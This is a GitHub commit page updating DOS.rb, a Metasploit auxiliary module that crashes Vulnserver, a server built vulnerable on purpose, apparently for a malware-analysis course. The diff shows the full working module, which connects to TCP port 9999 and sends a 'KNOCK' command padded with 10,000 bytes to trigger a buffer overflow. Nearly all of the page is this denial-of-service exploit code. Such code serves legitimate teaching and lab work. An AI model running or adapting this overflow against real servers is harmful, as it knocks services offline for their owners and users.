Skip to content

Commit

Permalink
Update Dos
Browse files Browse the repository at this point in the history
Removed commented out stuff (DefaultOptions).
Added 'inlcude Msf::Auxiliary::Dos'
  • Loading branch information
DaintyJet authored Jun 8, 2022
1 parent 46189d5 commit 77f2f9f
Showing 1 changed file with 12 additions and 21 deletions.
33 changes: 12 additions & 21 deletions DOS.rb
Original file line number Diff line number Diff line change
@@ -1,12 +1,11 @@
class MetasploitModule < Msf::Auxiliary # This is a remote exploit module inheriting from the remote exploit class

Rank = NormalRanking # Potential impact to the target ranking
Rank = NormalRanking # Potential impact to the target

include Msf::Exploit::Remote::Tcp # Include remote tcp exploit module
include Msf::Auxiliary::Dos

def initialize(info = {}) # i.e. constructor, setting the initial values

super(update_info(info, #calls parent class update_info function
super(update_info(info,
'Name' => 'Vulnserver Buffer Overflow-KNOCK command', # Name of the target
'Description' => %q{
Vulnserver is intentially written vulnerable. This expoits uses a simple buffer overflow.
Expand All @@ -18,37 +17,29 @@ def initialize(info = {}) # i.e. constructor, setting the initial values
[ 'URL', 'https://github.com/xinwenfu/Malware-Analysis/edit/main/MetasploitNewModule' ]
],
'Privileged' => false,
#'DefaultOptions' =>
#{
#'RPORT' => 9999
# },
'Platform' => 'Win', # Supporting what platforms are supported, e.g., win, linux, osx, unix, bsd.
'DisclosureDate' => 'Mar. 30, 2022')) # When the vulnerability was disclosed in public

register_options([
Opt::RPORT(9999)
])
Opt::RPORT(9999)
])
end

def run # Actual exploit, since this is a Auxiliary, it is a run function, type run to execute

def run # Actual exploit
print_status("Connecting to target with IP #{datastore['RHOST']} and Port #{datastore['RPORT']}")

connect #connect to target using values stored in datastore
outbound = "KNOCK /.:/" + "A"*10000 #create outbound message, in this case A can be anything as we just want to crash the server
print_status("Sending Message in 6 seconds")

for x in 0..5 do
outbound = "KNOCK /.:/" + "A"*10000 #create outbound message, in this case A can be anything as we just want to crash the server

print_status("Sending Exploit in 6 seconds")

for x in 0..5 do
print_status("#{6 - x}")
sleep(1) #sleep for 1 second 6 times so that we will wait 6 seconds and count down
end

sock.put(outbound)
print_status("Message Sent")

print_status("Exploit Sent")
ensure #ensure that exploit disconnects
disconnect
print_status("Exiting Run Function")
end
end

0 comments on commit 77f2f9f

Please sign in to comment.